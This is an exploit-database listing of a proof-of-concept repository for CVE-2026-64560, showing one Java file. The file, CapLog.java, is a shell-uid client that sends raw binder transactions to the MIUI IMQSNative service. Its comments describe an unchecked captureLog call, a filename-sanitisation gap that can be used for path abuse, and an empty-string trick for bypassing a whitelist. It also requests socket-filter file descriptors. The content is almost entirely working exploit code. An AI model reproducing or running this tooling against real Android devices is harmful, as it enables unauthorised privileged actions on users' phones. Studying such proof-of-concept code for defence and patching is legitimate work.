Exploit database

GH-3513fc35b5bb71ac60fe6488e0db5ba8

feng1586/cve-2026-64560-sources

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64560

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
feng1586/cve-2026-64560-sourcesRevision 8bbe9742175b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/mqsnative/CapLog.java

Java · 7,189 bytes
/*
 * CapLog.java — 通用 IMQSNative 客户端(app_process, shell 域 uid 2000)
 *
 * 目的:直接以 binder transact 调用 miui.mqsas.IMQSNative 的 code 1 captureLog
 *       (报告 81 表:code 1 无 uid 检查 ⇒ shell 可达;impl 侧文件名净化不含 '.')
 * 语义:captureLog(type, headline, actions[], params[], offline, id, upload, where, includeFiles[], isRecordLocal)
 */
import android.os.IBinder;
import android.os.Parcel;

import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;

public class CapLog {

    static final String DESCRIPTOR = "miui.mqsas.IMQSNative";

    public static void main(String[] args) throws Exception {
        if (args.length < 1) {
            System.out.println("usage: CapLog <svcName> <code> [args...]");
            System.out.println("  code 1  : type headline actionsCSV paramsCSV where includeCSV");
            System.out.println("  code 7  : path data");
            System.out.println("  code 8  : path");
            System.out.println("  code 4  : action params timeout");
            return;
        }
        String svc = args[0];
        int code = Integer.parseInt(args[1]);

        Class<?> sm = Class.forName("android.os.ServiceManager");
        Method getService = sm.getMethod("getService", String.class);
        IBinder b = (IBinder) getService.invoke(null, svc);
        if (b == null) {
            System.out.println("NULL_BINDER");
            return;
        }
        System.out.println("binder=" + b + " code=" + code);

        Parcel data = Parcel.obtain();
        Parcel reply = Parcel.obtain();
        try {
            data.writeInterfaceToken(DESCRIPTOR);
            if (code == 1) {
                String type = args.length > 2 ? args[2] : "fbt";
                String headline = args.length > 3 ? args[3] : "fbh";
                List<String> actions = split(args.length > 4 ? args[4] : "");
                List<String> params = split(args.length > 5 ? args[5] : "");
                String where = args.length > 6 ? args[6] : "/data/local/tmp/fbcap";
                List<String> inc = split(args.length > 7 ? args[7] : "");
                writeString(data, type);
                writeString(data, headline);
                writeStringList(data, actions);
                writeStringList(data, params);
                data.writeInt(0);              // offline = false
                data.writeInt(1);              // id
                data.writeInt(0);              // upload = false
                writeString(data, where);
                writeStringList(data, inc);
                int local = (args.length > 8) ? Integer.parseInt(args[8]) : 0;
                data.writeInt(local);          // isRecordInLocal(1 = 用 where 作为落点)
            } else if (code == 2) {
                /* attachSockFilter(srcMac, dstMac, srcIp, dstIp, proto, srcPort, dstPort,
                 *                  byte[] identifyData, int retDataLen, String iface) -> PFD */
                writeString(data, args.length > 2 ? args[2] : "00:00:00:00:00:00");
                writeString(data, args.length > 3 ? args[3] : "00:00:00:00:00:00");
                data.writeInt(args.length > 4 ? Integer.parseInt(args[4]) : 0);
                data.writeInt(args.length > 5 ? Integer.parseInt(args[5]) : 0);
                data.writeInt(args.length > 6 ? Integer.parseInt(args[6]) : 6);
                data.writeInt(args.length > 7 ? Integer.parseInt(args[7]) : 0);
                data.writeInt(args.length > 8 ? Integer.parseInt(args[8]) : 0);
                byte[] ident = new byte[args.length > 9 ? Integer.parseInt(args[9]) : 16];
                data.writeByteArray(ident);
                data.writeInt(ident.length);
                writeString(data, args.length > 10 ? args[10] : "wlan0");
            } else if (code == 7) {
                writeString(data, args[2]);
                writeString(data, args[3]);
            } else if (code == 8) {
                writeString(data, args[2]);
            } else if (code == 4) {
                writeString(data, args[2]);
                writeString(data, args.length > 3 ? args[3] : "");
                data.writeInt(args.length > 4 ? Integer.parseInt(args[4]) : 10);
            } else {
                for (int i = 2; i < args.length; i++) writeString(data, args[i]);
            }

            boolean ok = b.transact(code, data, reply, 0);
            int rs = reply.dataSize();
            System.out.println("transact=" + ok + " replySize=" + rs);
            if (rs > 0) {
                try {
                    reply.setDataPosition(0);
                    int ex = reply.readInt();
                    System.out.println("replyInt0=" + ex);
                    if (code == 4 || code == 6) {
                        System.out.println("ret=" + reply.readInt());
                    }
                    if (code == 8) {
                        try {
                            System.out.println("str=" + reply.readString());
                        } catch (Throwable t) {
                            System.out.println("readString-fail " + t);
                        }
                    }
                    if (code == 2) {
                        try {
                            reply.setDataPosition(0);
                            reply.readInt();                       // exception code
                            Object pfd = reply.readFileDescriptor();
                            System.out.println("pfd=" + pfd);
                            if (pfd != null) {
                                java.io.FileDescriptor fd =
                                        (java.io.FileDescriptor) pfd.getClass()
                                                .getMethod("getFileDescriptor").invoke(pfd);
                                int raw = ((Integer) java.io.FileDescriptor.class
                                        .getDeclaredField("descriptor").get(fd)).intValue();
                                System.out.println("fdNum=" + raw);
                            }
                        } catch (Throwable t) {
                            System.out.println("pfd-fail " + t);
                        }
                    }
                } catch (Throwable t) {
                    System.out.println("reply-parse-fail " + t);
                }
            }
        } finally {
            data.recycle();
            reply.recycle();
        }
    }

    static List<String> split(String s) {
        List<String> l = new ArrayList<>();
        if (s == null || s.isEmpty()) return l;
        for (String p : s.split(",", -1)) {
            /* "-" 表示空串(用于测试 action="" 绕过 strstr 白名单) */
            l.add("-".equals(p) ? "" : p);
        }
        return l;
    }

    static void writeString(Parcel p, String s) throws Exception {
        Method m = Parcel.class.getMethod("writeString", String.class);
        m.invoke(p, s);
    }

    static void writeStringList(Parcel p, List<String> l) throws Exception {
        Method m = Parcel.class.getMethod("writeStringList", List.class);
        m.invoke(p, l);
    }
}